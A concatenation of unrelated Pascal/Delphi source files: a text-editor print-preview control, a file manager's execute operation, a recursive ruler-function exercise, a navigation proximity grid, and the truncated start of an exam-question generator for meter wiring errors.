FScrollPosition: TPoint;
FShowScrollHint: Boolean;
FWheelAccumulator: Integer;
FVirtualOffset: TPoint;
FVirtualSize: TPoint;
function GetEditorPrint: TBCEditorPrint;
function GetPageCount: Integer;
function GetPageHeight100Percent: Integer;
function GetPageHeightFromWidth(AWidth: Integer): Integer;
function GetPageWidth100Percent: Integer;
function GetPageWidthFromHeight(AHeight: Integer): Integer;
procedure PaintPaper;
procedure SetBorderStyle(Value: TBorderStyle);
procedure SetEditorPrint(Value: TBCEditorPrint);
procedure SetPageBackground(Value: TColor);
procedure SetScaleMode(Value: TBCEditorPreviewScale);
procedure SetScalePercent(Value: Integer);
procedure WMEraseBkgnd(var Msg: TWMEraseBkgnd); message WM_ERASEBKGND;
procedure WMHScroll(var Msg: TWMHScroll); message WM_HSCROLL;
procedure WMMouseWheel(var Message: TWMMouseWheel); message WM_MOUSEWHEEL;
procedure WMSize(var Msg: TWMSize); message WM_SIZE;
procedure WMVScroll(var Msg: TWMVScroll); message WM_VSCROLL;
protected
procedure CreateParams(var AParams: TCreateParams); override;
procedure Notification(AComponent: TComponent; Operation: TOperation); override;
procedure ScrollHorzFor(Value: Integer);
procedure ScrollHorzTo(Value: Integer); virtual;
procedure ScrollVertFor(Value: Integer);
procedure ScrollVertTo(Value: Integer); virtual;
procedure SizeChanged; virtual;
procedure UpdateScrollbars; virtual;
public
constructor Create(AOwner: TComponent); override;
procedure FirstPage;
procedure LastPage;
procedure NextPage;
procedure Paint; override;
procedure PreviousPage;
procedure Print;
procedure UpdatePreview;
property PageCount: Integer read GetPageCount;
property PageNumber: Integer read FPageNumber;
published
property Align default alClient;
property BorderStyle: TBorderStyle read FBorderStyle write SetBorderStyle default bsSingle;
property Color default clAppWorkspace;
property Cursor;
property EditorPrint: TBCEditorPrint read GetEditorPrint write SetEditorPrint;
property OnClick;
property OnMouseDown;
property OnMouseUp;
property OnPreviewPage: TBCEditorPreviewPageEvent read FOnPreviewPage write FOnPreviewPage;
property OnScaleChange: TNotifyEvent read FOnScaleChange write FOnScaleChange;
property PageBackgroundColor: TColor read FPageBackground write SetPageBackground default clWhite;
property PopupMenu;
property ScaleMode: TBCEditorPreviewScale read FScaleMode write SetScaleMode default pscUserScaled;
property ScalePercent: Integer read FScalePercent write SetScalePercent default 100;
property ShowScrollHint: Boolean read FShowScrollHint write FShowScrollHint default True;
property Visible default True;
end;
implementation
uses
Types, BCEditor.Language;
const
MARGIN_WIDTH_LEFT_AND_RIGHT = 12;
MARGIN_HEIGHT_TOP_AND_BOTTOM = 12;
{ TBCEditorPrintPreview }
constructor TBCEditorPrintPreview.Create(AOwner: TComponent);
begin
inherited;
ControlStyle := ControlStyle + [csNeedsBorderPaint];
FBorderStyle := bsSingle;
FScaleMode := pscUserScaled;
FScalePercent := 100;
FPageBackground := clWhite;
Width := 200;
Height := 120;
ParentColor := False;
Color := clAppWorkspace;
Visible := True;
FPageNumber := 1;
FShowScrollHint := True;
Align := alClient;
FWheelAccumulator := 0;
end;
procedure TBCEditorPrintPreview.CreateParams(var AParams: TCreateParams);
const
BorderStyles: array [TBorderStyle] of DWord = (0, WS_BORDER);
begin
inherited;
with AParams do
begin
Style := Style or WS_HSCROLL or WS_VSCROLL or BorderStyles[FBorderStyle] or WS_CLIPCHILDREN;
if NewStyleControls and Ctl3D and (FBorderStyle = bsSingle) then
begin
Style := Style and not WS_BORDER;
ExStyle := ExStyle or WS_EX_CLIENTEDGE;
end;
end;
end;
function TBCEditorPrintPreview.GetPageHeightFromWidth(AWidth: Integer): Integer;
begin
if Assigned(FEditorPrint) then
with FEditorPrint.PrinterInfo do
Result := MulDiv(AWidth, PhysicalHeight, PhysicalWidth)
else
Result := MulDiv(AWidth, 141, 100);
end;
function TBCEditorPrintPreview.GetPageWidthFromHeight(AHeight: Integer): Integer;
begin
if Assigned(FEditorPrint) then
with FEditorPrint.PrinterInfo do
Result := MulDiv(AHeight, PhysicalWidth, PhysicalHeight)
else
Result := MulDiv(AHeight, 100, 141);
end;
function TBCEditorPrintPreview.GetPageHeight100Percent: Integer;
var
LHandle: HDC;
LScreenDPI: Integer;
begin
Result := 0;
LHandle := GetDC(0);
LScreenDPI := GetDeviceCaps(LHandle, LogPixelsY);
ReleaseDC(0, LHandle);
if Assigned(FEditorPrint) then
with FEditorPrint.PrinterInfo do
Result := MulDiv(PhysicalHeight, LScreenDPI, YPixPerInch);
end;
function TBCEditorPrintPreview.GetPageWidth100Percent: Integer;
var
LHandle: HDC;
LScreenDPI: Integer;
begin
Result := 0;
LHandle := GetDC(0);
LScreenDPI := GetDeviceCaps(LHandle, LogPixelsX);
ReleaseDC(0, LHandle);
if Assigned(FEditorPrint) then
with FEditorPrint.PrinterInfo do
Result := MulDiv(PhysicalWidth, LScreenDPI, XPixPerInch);
end;
procedure TBCEditorPrintPreview.Notification(AComponent: TComponent; Operation: TOperation);
begin
inherited;
if (Operation = opRemove) and (AComponent = FEditorPrint) then
EditorPrint := nil;
end;
procedure TBCEditorPrintPreview.PaintPaper;
var
LClipRect, PaperRect: TRect;
PaperRGN: HRGN;
begin
with Canvas do
begin
LClipRect := ClipRect;
if IsRectEmpty(LClipRect) then
Exit;
Brush.Color := Self.Color;
Brush.Style := bsSolid;
Pen.Color := clBlack;
Pen.Width := 1;
Pen.Style := psSolid;
if (csDesigning in ComponentState) or (not Assigned(FEditorPrint)) then
begin
FillRect(LClipRect);
Brush.Color := FPageBackground;
Rectangle(MARGIN_WIDTH_LEFT_AND_RIGHT, MARGIN_HEIGHT_TOP_AND_BOTTOM, MARGIN_WIDTH_LEFT_AND_RIGHT + 30,
MARGIN_HEIGHT_TOP_AND_BOTTOM + 43);
Exit;
end;
with PaperRect do
begin
Left := FVirtualOffset.X + FScrollPosition.X;
if ScaleMode = pscWholePage then
Top := FVirtualOffset.Y
else
Top := FVirtualOffset.Y + FScrollPosition.Y;
Right := Left + FPageSize.X;
Bottom := Top + FPageSize.Y;
PaperRGN := CreateRectRgn(Left, Top, Right + 1, Bottom + 1);
end;
if NULLREGION <> ExtSelectClipRgn(Handle, PaperRGN, RGN_DIFF) then
FillRect(LClipRect);
SelectClipRgn(Handle, PaperRGN);
Brush.Color := FPageBackground;
with PaperRect do
Rectangle(Left, Top, Right + 1, Bottom + 1);
DeleteObject(PaperRGN);
end;
end;
procedure TBCEditorPrintPreview.Paint;
var
OriginalScreenPoint: TPoint;
begin
with Canvas do
begin
PaintPaper;
if (csDesigning in ComponentState) or (not Assigned(FEditorPrint)) then
Exit;
SetMapMode(Handle, MM_ANISOTROPIC);
with FEditorPrint.PrinterInfo do
begin
SetWindowExtEx(Handle, PhysicalWidth, PhysicalHeight, nil);
SetViewPortExtEx(Handle, FPageSize.X, FPageSize.Y, nil);
OriginalScreenPoint.X := MulDiv(LeftMargin, FPageSize.X, PhysicalWidth);
OriginalScreenPoint.Y := MulDiv(TopMargin, FPageSize.Y, PhysicalHeight);
Inc(OriginalScreenPoint.X, FVirtualOffset.X + FScrollPosition.X);
if ScaleMode = pscWholePage then
Inc(OriginalScreenPoint.Y, FVirtualOffset.Y)
else
Inc(OriginalScreenPoint.Y, FVirtualOffset.Y + FScrollPosition.Y);
SetViewPortOrgEx(Handle, OriginalScreenPoint.X, OriginalScreenPoint.Y, nil);
IntersectClipRect(Handle, 0, 0, PrintableWidth, PrintableHeight);
end;
FEditorPrint.PrintToCanvas(Canvas, FPageNumber);
end;
end;
procedure TBCEditorPrintPreview.ScrollHorzFor(Value: Integer);
begin
ScrollHorzTo(FScrollPosition.X + Value);
end;
procedure TBCEditorPrintPreview.ScrollHorzTo(Value: Integer);
var
LWidth, Position: Integer;
begin
LWidth := ClientWidth;
Position := LWidth - FVirtualSize.X;
if Value < Position then
Value := Position;
if Value > 0 then
Value := 0;
if Value <> FScrollPosition.X then
begin
Position := Value - FScrollPosition.X;
FScrollPosition.X := Value;
UpdateScrollbars;
if Abs(Position) > LWidth div 2 then
Invalidate
else
begin
ScrollWindow(Handle, Position, 0, nil, nil);
Update;
end;
end;
end;
procedure TBCEditorPrintPreview.ScrollVertFor(Value: Integer);
begin
ScrollVertTo(FScrollPosition.Y + Value);
end;
procedure TBCEditorPrintPreview.ScrollVertTo(Value: Integer);
var
LHeight, Position: Integer;
begin
LHeight := ClientHeight;
Position := LHeight - FVirtualSize.Y;
if Value < Position then
Value := Position;
if Value > 0 then
Value := 0;
if (Value <> FScrollPosition.Y) then
begin
Position := Value - FScrollPosition.Y;
FScrollPosition.Y := Value;
UpdateScrollbars;
if Abs(Position) > LHeight div 2 then
Invalidate
else
begin
ScrollWindow(Handle, 0, Position, nil, nil);
Update;
end;
end;
end;
procedure TBCEditorPrintPreview.SizeChanged;
var
LWidth: Integer;
begin
if not (HandleAllocated and Assigned(FEditorPrint)) then
Exit;
// compute paper size
case FScaleMode of
pscWholePage:
begin
FPageSize.X := ClientWidth - 2 * MARGIN_WIDTH_LEFT_AND_RIGHT;
FPageSize.Y := ClientHeight - 2 * MARGIN_HEIGHT_TOP_AND_BOTTOM;
LWidth := GetPageWidthFromHeight(FPageSize.Y);
if LWidth < FPageSize.X then
FPageSize.X := LWidth
else
FPageSize.Y := GetPageHeightFromWidth(FPageSize.X);
end;
pscPageWidth:
begin
FPageSize.X := ClientWidth - 2 * MARGIN_WIDTH_LEFT_AND_RIGHT;
FPageSize.Y := GetPageHeightFromWidth(FPageSize.X);
end;
pscUserScaled:
begin
FPageSize.X := MulDiv(GetPageWidth100Percent, FScalePercent, 100);
FPageSize.Y := MulDiv(GetPageHeight100Percent, FScalePercent, 100);
end;
end;
FVirtualSize.X := FPageSize.X + 2 * MARGIN_WIDTH_LEFT_AND_RIGHT;
FVirtualSize.Y := FPageSize.Y + 2 * MARGIN_HEIGHT_TOP_AND_BOTTOM;
FVirtualOffset.X := MARGIN_WIDTH_LEFT_AND_RIGHT;
if FVirtualSize.X < ClientWidth then
Inc(FVirtualOffset.X, (ClientWidth - FVirtualSize.X) div 2);
FVirtualOffset.Y := MARGIN_HEIGHT_TOP_AND_BOTTOM;
if FVirtualSize.Y < ClientHeight then
Inc(FVirtualOffset.Y, (ClientHeight - FVirtualSize.Y) div 2);
UpdateScrollbars;
FScrollPosition.X := 0;
FScrollPosition.Y := 0;
end;
procedure TBCEditorPrintPreview.UpdateScrollbars;
var
ScrollInfo: TScrollInfo;
begin
FillChar(ScrollInfo, SizeOf(TScrollInfo), 0);
ScrollInfo.cbSize := SizeOf(TScrollInfo);
ScrollInfo.fMask := SIF_ALL;
case FScaleMode of
pscWholePage:
begin
ShowScrollbar(Handle, SB_HORZ, False);
ScrollInfo.fMask := ScrollInfo.fMask or SIF_DISABLENOSCROLL;
ScrollInfo.nMin := 1;
if Assigned(FEditorPrint) then
begin
ScrollInfo.nMax := FEditorPrint.PageCount;
ScrollInfo.nPos := FPageNumber;
end
else
begin
ScrollInfo.nMax := 1;
ScrollInfo.nPos := 1;
end;
ScrollInfo.nPage := 1;
SetScrollInfo(Handle, SB_VERT, ScrollInfo, True);
end;
pscPageWidth:
begin
ShowScrollbar(Handle, SB_HORZ, False);
ScrollInfo.fMask := ScrollInfo.fMask or SIF_DISABLENOSCROLL;
ScrollInfo.nMax := FVirtualSize.Y;
ScrollInfo.nPos := -FScrollPosition.Y;
ScrollInfo.nPage := ClientHeight;
SetScrollInfo(Handle, SB_VERT, ScrollInfo, True);
end;
pscUserScaled:
begin
ShowScrollbar(Handle, SB_HORZ, True);
ShowScrollbar(Handle, SB_VERT, True);
ScrollInfo.fMask := ScrollInfo.fMask or SIF_DISABLENOSCROLL;
ScrollInfo.nMax := FVirtualSize.X;
ScrollInfo.nPos := -FScrollPosition.X;
ScrollInfo.nPage := ClientWidth;
SetScrollInfo(Handle, SB_HORZ, ScrollInfo, True);
ScrollInfo.nMax := FVirtualSize.Y;
ScrollInfo.nPos := -FScrollPosition.Y;
ScrollInfo.nPage := ClientHeight;
SetScrollInfo(Handle, SB_VERT, ScrollInfo, True);
end;
end;
end;
procedure TBCEditorPrintPreview.SetBorderStyle(Value: TBorderStyle);
begin
if Value <> FBorderStyle then
begin
FBorderStyle := Value;
RecreateWnd;
end;
end;
procedure TBCEditorPrintPreview.SetPageBackground(Value: TColor);
begin
if Value <> FPageBackground then
begin
FPageBackground := Value;
Invalidate;
end;
end;
function TBCEditorPrintPreview.GetEditorPrint: TBCEditorPrint;
begin
if not Assigned(FEditorPrint) then
FEditorPrint := TBCEditorPrint.Create(Self);
Result := FEditorPrint
end;
procedure TBCEditorPrintPreview.SetEditorPrint(Value: TBCEditorPrint);
begin
if FEditorPrint <> Value then
begin
FEditorPrint := Value;
if Assigned(FEditorPrint) then
FEditorPrint.FreeNotification(Self);
end;
end;
procedure TBCEditorPrintPreview.SetScaleMode(Value: TBCEditorPreviewScale);
begin
if FScaleMode <> Value then
begin
FScaleMode := Value;
FScrollPosition := Point(0, 0);
SizeChanged;
if Assigned(FOnScaleChange) then
FOnScaleChange(Self);
Invalidate;
end;
end;
procedure TBCEditorPrintPreview.SetScalePercent(Value: Integer);
begin
if FScalePercent <> Value then
begin
FScaleMode := pscUserScaled;
FScrollPosition := Point(0, 0);
FScalePercent := Value;
SizeChanged;
Invalidate;
end
else
ScaleMode := pscUserScaled;
if Assigned(FOnScaleChange) then
FOnScaleChange(Self);
end;
procedure TBCEditorPrintPreview.WMEraseBkgnd(var Msg: TWMEraseBkgnd);
begin
Msg.Result := 1;
end;
procedure TBCEditorPrintPreview.WMHScroll(var Msg: TWMHScroll);
var
LWidth: Integer;
begin
if (FScaleMode <> pscWholePage) then
begin
LWidth := ClientWidth;
case Msg.ScrollCode of
SB_TOP:
ScrollHorzTo(0);
SB_BOTTOM:
ScrollHorzTo(-FVirtualSize.X);
SB_LINEDOWN:
ScrollHorzFor(-(LWidth div 10));
SB_LINEUP:
ScrollHorzFor(LWidth div 10);
SB_PAGEDOWN:
ScrollHorzFor(-(LWidth div 2));
SB_PAGEUP:
ScrollHorzFor(LWidth div 2);
SB_THUMBPOSITION, SB_THUMBTRACK:
ScrollHorzTo(-Msg.Pos);
end;
end;
end;
procedure TBCEditorPrintPreview.WMSize(var Msg: TWMSize);
begin
inherited;
if not (csDesigning in ComponentState) then
SizeChanged;
end;
var
ScrollHintWnd: THintWindow;
function GetScrollHint: THintWindow;
begin
if not Assigned(ScrollHintWnd) then
begin
ScrollHintWnd := HintWindowClass.Create(Application);
ScrollHintWnd.Visible := False;
end;
Result := ScrollHintWnd;
end;
procedure TBCEditorPrintPreview.WMVScroll(var Msg: TWMVScroll);
var
LHeight: Integer;
S: string;
ScrollHintRect: TRect;
LPoint: TPoint;
ScrollHint: THintWindow;
begin
if (FScaleMode = pscWholePage) then
begin
if Assigned(FEditorPrint) then
case Msg.ScrollCode of
SB_TOP:
FPageNumber := 1;
SB_BOTTOM:
FPageNumber := FEditorPrint.PageCount;
SB_LINEDOWN, SB_PAGEDOWN:
begin
FPageNumber := FPageNumber + 1;
if FPageNumber > FEditorPrint.PageCount then
FPageNumber := FEditorPrint.PageCount;
end;
SB_LINEUP, SB_PAGEUP:
begin
FPageNumber := FPageNumber - 1;
if FPageNumber < 1 then
FPageNumber := 1;
end;
SB_THUMBPOSITION, SB_THUMBTRACK:
begin
FPageNumber := Msg.Pos;
if FShowScrollHint then
begin
ScrollHint := GetScrollHint;
if not ScrollHint.Visible then
begin
ScrollHint.Color := Application.HintColor;
ScrollHint.Visible := True;
end;
S := Format(SBCEditorPreviewScrollHint, [FPageNumber]);
ScrollHintRect := ScrollHint.CalcHintRect(200, S, nil);
LPoint := ClientToScreen(Point(ClientWidth - ScrollHintRect.Right - 4, 10));
OffsetRect(ScrollHintRect, LPoint.X, LPoint.Y);
ScrollHint.ActivateHint(ScrollHintRect, S);
SendMessage(ScrollHint.Handle, WM_NCPAINT, 1, 0);
ScrollHint.Invalidate;
ScrollHint.Update;
end;
end;
SB_ENDSCROLL:
begin
if FShowScrollHint then
begin
ScrollHint := GetScrollHint;
ScrollHint.Visible := False;
ShowWindow(ScrollHint.Handle, SW_HIDE);
end;
end;
end;
FScrollPosition.Y := -(FPageNumber - 1);
UpdateScrollbars;
if Assigned(FOnPreviewPage) then
FOnPreviewPage(Self, FPageNumber);
Invalidate;
end
else
begin
LHeight := ClientHeight;
case Msg.ScrollCode of
SB_TOP:
ScrollVertTo(0);
SB_BOTTOM:
ScrollVertTo(-FVirtualSize.Y);
SB_LINEDOWN:
ScrollVertFor(-(LHeight div 10));
SB_LINEUP:
ScrollVertFor(LHeight div 10);
SB_PAGEDOWN:
ScrollVertFor(-(LHeight div 2));
SB_PAGEUP:
ScrollVertFor(LHeight div 2);
SB_THUMBPOSITION, SB_THUMBTRACK:
ScrollVertTo(-Msg.Pos);
end;
end;
end;
procedure TBCEditorPrintPreview.WMMouseWheel(var Message: TWMMouseWheel);
var
CtrlPressed: Boolean;
procedure MouseWheelUp;
begin
if CtrlPressed and (FPageNumber > 1) then
PreviousPage
else
ScrollVertFor(WHEEL_DELTA);
end;
procedure MouseWheelDown;
begin
if CtrlPressed and (FPageNumber < PageCount) then
NextPage
else
ScrollVertFor(-WHEEL_DELTA);
end;
var
IsNegative: Boolean;
begin
CtrlPressed := GetKeyState(VK_CONTROL) < 0;
Inc(FWheelAccumulator, message.WheelDelta);
while Abs(FWheelAccumulator) >= WHEEL_DELTA do
begin
IsNegative := FWheelAccumulator < 0;
FWheelAccumulator := Abs(FWheelAccumulator) - WHEEL_DELTA;
if IsNegative then
begin
if FWheelAccumulator <> 0 then
FWheelAccumulator := -FWheelAccumulator;
MouseWheelDown;
end
else
MouseWheelUp;
end;
end;
procedure TBCEditorPrintPreview.UpdatePreview;
var
OldScale: Integer;
OldMode: TBCEditorPreviewScale;
begin
OldScale := ScalePercent;
OldMode := ScaleMode;
ScalePercent := 100;
if Assigned(FEditorPrint) then
FEditorPrint.UpdatePages(Canvas);
SizeChanged;
Invalidate;
ScaleMode := OldMode;
if ScaleMode = pscUserScaled then
ScalePercent := OldScale;
if Assigned(FOnPreviewPage) then
FOnPreviewPage(Self, FPageNumber);
end;
procedure TBCEditorPrintPreview.FirstPage;
begin
FPageNumber := 1;
if Assigned(FOnPreviewPage) then
FOnPreviewPage(Self, FPageNumber);
Invalidate;
end;
procedure TBCEditorPrintPreview.LastPage;
begin
if Assigned(FEditorPrint) then
FPageNumber := FEditorPrint.PageCount;
if Assigned(FOnPreviewPage) then
FOnPreviewPage(Self, FPageNumber);
Invalidate;
end;
procedure TBCEditorPrintPreview.NextPage;
begin
FPageNumber := FPageNumber + 1;
if Assigned(FEditorPrint) and (FPageNumber > FEditorPrint.PageCount) then
FPageNumber := FEditorPrint.PageCount;
if Assigned(FOnPreviewPage) then
FOnPreviewPage(Self, FPageNumber);
Invalidate;
end;
procedure TBCEditorPrintPreview.PreviousPage;
begin
FPageNumber := FPageNumber - 1;
if Assigned(FEditorPrint) and (FPageNumber < 1) then
FPageNumber := 1;
if Assigned(FOnPreviewPage) then
FOnPreviewPage(Self, FPageNumber);
Invalidate;
end;
procedure TBCEditorPrintPreview.Print;
begin
if Assigned(FEditorPrint) then
begin
FEditorPrint.Print;
UpdatePreview;
end;
end;
function TBCEditorPrintPreview.GetPageCount: Integer;
begin
Result := EditorPrint.PageCount;
end;
end.
|
unit uFileSystemExecuteOperation;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils,
uFileSource,
uFileSourceExecuteOperation,
uFileSystemFileSource,
uFile;
type
{ TFileSystemExecuteOperation }
TFileSystemExecuteOperation = class(TFileSourceExecuteOperation)
private
FFileSystemFileSource: IFileSystemFileSource;
public
{en
@param(aTargetFileSource
File source where the file should be executed.)
@param(aExecutableFile
File that should be executed.)
@param(aCurrentPath
Path of the file source where the execution should take place.)
}
constructor Create(aTargetFileSource: IFileSource;
var aExecutableFile: TFile;
aCurrentPath,
aVerb: String); override;
procedure Initialize; override;
procedure MainExecute; override;
procedure Finalize; override;
end;
implementation
uses
Forms, Controls, DCOSUtils, uOSUtils, uOSForms, uShellContextMenu, uExceptions;
constructor TFileSystemExecuteOperation.Create(
aTargetFileSource: IFileSource;
var aExecutableFile: TFile;
aCurrentPath,
aVerb: String);
begin
FFileSystemFileSource := aTargetFileSource as IFileSystemFileSource;
inherited Create(aTargetFileSource, aExecutableFile, aCurrentPath, aVerb);
end;
procedure TFileSystemExecuteOperation.Initialize;
begin
Screen.Cursor:= crHourGlass;
end;
procedure TFileSystemExecuteOperation.MainExecute;
var
aFiles: TFiles;
begin
if Verb = 'properties' then
begin
FExecuteOperationResult:= fseorSuccess;
aFiles:= TFiles.Create(ExecutableFile.Path);
try
aFiles.Add(ExecutableFile.Clone);
try
Screen.Cursor:= crDefault;
ShowFilePropertiesDialog(FFileSystemFileSource, aFiles);
except
on E: EContextMenuException do
ShowException(E);
end;
finally
FreeAndNil(aFiles);
end;
Exit;
end;
// if file is link to folder then return fseorSymLink
if FileIsLinkToFolder(AbsolutePath, FResultString) then
begin
FExecuteOperationResult:= fseorSymLink;
Exit;
end;
// try to open by system
mbSetCurrentDir(CurrentPath);
case ShellExecute(AbsolutePath) of
True:
FExecuteOperationResult:= fseorSuccess;
False:
FExecuteOperationResult:= fseorError;
end;
end;
procedure TFileSystemExecuteOperation.Finalize;
begin
Screen.Cursor:= crDefault;
end;
end.
|
{$A+,B-,D+,E-,F-,G+,I+,L+,N+,O-,P-,Q-,R-,S-,T-,V+,X+,Y+}
{$M 1024,0,0}
{
by Behdad Esfahbod
Algorithmic Problems Book
August '1999
Problem 4 O(2^N) Recursive Method
}
program
RulerFunction;
const
MaxN = 10;
var
N : Integer;
A, B : array [0 .. MaxN] of Integer;
I, P : Integer;
F : Text;
function Ruler (L, R, K, Add : Integer) : Integer;
var
G, J : Integer;
begin
if K = 0 then
begin
Ruler := 0;
Exit;
end;
if L > R then
begin
G := Ruler(L, R, K - 1, 0);
Write(F, K, ' ');
Ruler := 2 * Ruler(L, R, K - 1, 0) + 1;
Exit;
end;
G := 0;
for P := L to R do
if A[P] > A[G] then
G := P;
if A[G] = K then
begin
J := Ruler(L, G - 1, K - 1, Add);
Write(F, K, ' ');
B[G] := J + Add + 1;
Ruler := J + 1 + Ruler(G + 1, R, K - 1, Add + J + 1);
end
else
begin
J := Ruler(L, R, K - 1, Add);
Write(F, K, ' ');
Ruler := J + 1 + Ruler(R + 1, R, K - 1, Add + J + 1);
end;
end;
begin
Assign(F, 'input.txt');
Reset(F);
Readln(F, N);
for I := 1 to N do
Read(F, A[I]);
Close(F);
Assign(F, 'output.txt');
Rewrite(F);
Ruler(1, N, N, 0);
Writeln(F);
for I := 1 to N do
Write(F, B[I], ' ');
Close(F);
end.
|
//
// Copyright (c) 2009-2010 Mikko Mononen memon@inside.org
//
// This software is provided 'as-is', without any express or implied
// warranty. In no event will the authors be held liable for any damages
// arising from the use of this software.
// Permission is granted to anyone to use this software for any purpose,
// including commercial applications, and to alter it and redistribute it
// freely, subject to the following restrictions:
// 1. The origin of this software must not be misrepresented; you must not
// claim that you wrote the original software. If you use this software
// in a product, an acknowledgment in the product documentation would be
// appreciated but is not required.
// 2. Altered source versions must be plainly marked as such, and must not be
// misrepresented as being the original software.
// 3. This notice may not be removed or altered from any source distribution.
//
{$POINTERMATH ON}
unit RN_DetourProximityGrid;
interface
uses Math, SysUtils;
type
TdtProximityGrid = class
private
m_cellSize: Single;
m_invCellSize: Single;
type
PItem = ^TItem;
TItem = record
id: Word;
x,y: SmallInt;
next: Word;
end;
var
m_pool: PItem;
m_poolHead: Integer;
m_poolSize: Integer;
m_buckets: PWord;
m_bucketsSize: Integer;
m_bounds: array [0..3] of Integer;
public
constructor Create;
destructor Destroy; override;
function init(const poolSize: Integer; const cellSize: Single): Boolean;
procedure clear();
procedure addItem(const id: Word; const minx, miny, maxx, maxy: Single);
function queryItems(const minx, miny, maxx, maxy: Single;
ids: PWord; const maxIds: Integer): Integer;
function getItemCountAt(const x, y: Integer): Integer;
function getBounds(): PInteger; { return m_bounds; }
function getCellSize(): Single; { return m_cellSize; }
end;
function dtAllocProximityGrid(): TdtProximityGrid;
procedure dtFreeProximityGrid(var ptr: TdtProximityGrid);
implementation
uses RN_DetourCommon;
function dtAllocProximityGrid(): TdtProximityGrid;
begin
Result := TdtProximityGrid.Create;
end;
procedure dtFreeProximityGrid(var ptr: TdtProximityGrid);
begin
FreeAndNil(ptr);
end;
function hashPos2(x, y, n: Integer): Integer;
begin
Result := ((Int64(x)*73856093) xor (Int64(y)*19349663)) and (n-1);
end;
constructor TdtProximityGrid.Create;
begin
inherited;
end;
destructor TdtProximityGrid.Destroy;
begin
FreeMem(m_buckets);
FreeMem(m_pool);
inherited;
end;
function TdtProximityGrid.init(const poolSize: Integer; const cellSize: Single): Boolean;
begin
Assert(poolSize > 0);
Assert(cellSize > 0.0);
m_cellSize := cellSize;
m_invCellSize := 1.0 / m_cellSize;
// Allocate hashs buckets
m_bucketsSize := dtNextPow2(poolSize);
GetMem(m_buckets, sizeof(Word)*m_bucketsSize);
// Allocate pool of items.
m_poolSize := poolSize;
m_poolHead := 0;
GetMem(m_pool, sizeof(TItem)*m_poolSize);
clear();
Result := true;
end;
procedure TdtProximityGrid.clear();
begin
FillChar(m_buckets[0], sizeof(Word)*m_bucketsSize, $ff);
m_poolHead := 0;
m_bounds[0] := $ffff;
m_bounds[1] := $ffff;
m_bounds[2] := -$ffff;
m_bounds[3] := -$ffff;
end;
procedure TdtProximityGrid.addItem(const id: Word; const minx, miny, maxx, maxy: Single);
var iminx, iminy, imaxx, imaxy, x, y, h: Integer; idx: Word; item: PItem;
begin
iminx := Floor(minx * m_invCellSize);
iminy := Floor(miny * m_invCellSize);
imaxx := Floor(maxx * m_invCellSize);
imaxy := Floor(maxy * m_invCellSize);
m_bounds[0] := dtMin(m_bounds[0], iminx);
m_bounds[1] := dtMin(m_bounds[1], iminy);
m_bounds[2] := dtMax(m_bounds[2], imaxx);
m_bounds[3] := dtMax(m_bounds[3], imaxy);
for y := iminy to imaxy do
begin
for x := iminx to imaxx do
begin
if (m_poolHead < m_poolSize) then
begin
h := hashPos2(x, y, m_bucketsSize);
idx := Word(m_poolHead);
Inc(m_poolHead);
item := @m_pool[idx];
item.x := SmallInt(x);
item.y := SmallInt(y);
item.id := id;
item.next := m_buckets[h];
m_buckets[h] := idx;
end;
end;
end;
end;
function TdtProximityGrid.queryItems(const minx, miny, maxx, maxy: Single;
ids: PWord; const maxIds: Integer): Integer;
var iminx, iminy, imaxx, imaxy, n, x, y, h: Integer; idx: Word; item: PItem; &end, i: PWord;
begin
iminx := Floor(minx * m_invCellSize);
iminy := Floor(miny * m_invCellSize);
imaxx := Floor(maxx * m_invCellSize);
imaxy := Floor(maxy * m_invCellSize);
n := 0;
for y := iminy to imaxy do
begin
for x := iminx to imaxx do
begin
h := hashPos2(x, y, m_bucketsSize);
idx := m_buckets[h];
while (idx <> $ffff) do
begin
item := @m_pool[idx];
if (item.x = x) and (item.y = y) then
begin
// Check if the id exists already.
&end := ids + n;
i := ids;
while (i <> &end) and (i^ <> item.id) do
Inc(i);
// Item not found, add it.
if (i = &end) then
begin
if (n >= maxIds) then
Exit(n);
ids[n] := item.id;
Inc(n);
end;
end;
idx := item.next;
end;
end;
end;
Result := n;
end;
function TdtProximityGrid.getItemCountAt(const x, y: Integer): Integer;
var n, h: Integer; idx: Word; item: PItem;
begin
n := 0;
h := hashPos2(x, y, m_bucketsSize);
idx := m_buckets[h];
while (idx <> $ffff) do
begin
item := @m_pool[idx];
if (item.x = x) and (&item.y = y) then
Inc(n);
idx := item.next;
end;
Result := n;
end;
function TdtProximityGrid.getBounds(): PInteger; begin Result := @m_bounds[0]; end;
function TdtProximityGrid.getCellSize(): Single; begin Result := m_cellSize; end;
end.
|
{===============================================================================
Copyright(c) 2007-2009, 北京北研兴电力仪表有限责任公司
All rights reserved.
错误接线,自动生成考题单元
+ TWE_MAKE_LIST 自动生成考题
===============================================================================}
unit U_WE_MAKE_LIST;
interface
uses SysUtils, Classes, U_WIRING_ERROR;
type
TIntArray = array of Integer;
type
TWE_MAKE_LIST = class
private
FPhaseType: TWE_PHASE_TYPE;
FErrorTypeSet: TWE_ERROR_TYPE_SET;
FErrorCount: Integer;
procedure SetErrorTypeSet(const Value: TWE_ERROR_TYPE_SET);
procedure SetPhaseType(const Value: TWE_PHASE_TYPE);
protected
/// <summary>
/// 清理错误类型
/// </summary>
procedure CleanErrorTypeSet;
/// <summary>
/// 相序列表
/// </summary>
function GetUSequenceArray : TIntArray;
function GetUBrokenArray : TIntArray;
function GetUsBrokenArray : TIntArray;
function GetPTReverseArray : TIntArray;
function GetISequenceArray : TIntArray;
function GetIBrokenArray : TIntArray;
function GetCTShortArray : TIntArray;
function GetCTReverseArray : TIntArray;
/// <summary>
/// 创建序列
/// </summary>
function CreateNewArray( AAry1, AAry2 : TIntArray ) : TIntArray;
/// <summary>
/// 计算三线错误个数
/// </summary>
function CalErrorCount3( AErrCode : Integer ) : Integer;
/// <summary>
/// 计算四线错误个数
/// </summary>
function CalErrorCount4( AErrCode : Integer ) : Integer;
/// <summary>
/// 依据错误个数过滤序列
/// </summary>
function FilterArray( AErrArray : TIntArray ) : TIntArray;
public
/// <summary>
/// 相线类型
/// </summary>
property PhaseType : TWE_PHASE_TYPE read FPhaseType write SetPhaseType;
/// <summary>
/// 包含的错误类型
/// </summary>
property ErrorTypeSet : TWE_ERROR_TYPE_SET read FErrorTypeSet write SetErrorTypeSet;
/// <summary>
/// 错误个数
/// </summary>
property ErrorCount : Integer read FErrorCount write FErrorCount;
public
/// <summary>
/// 创建列表
/// </summary>
procedure MakeWEList( AList : TList );
/// <summary>
/// 创建ID列表
/// </summary>
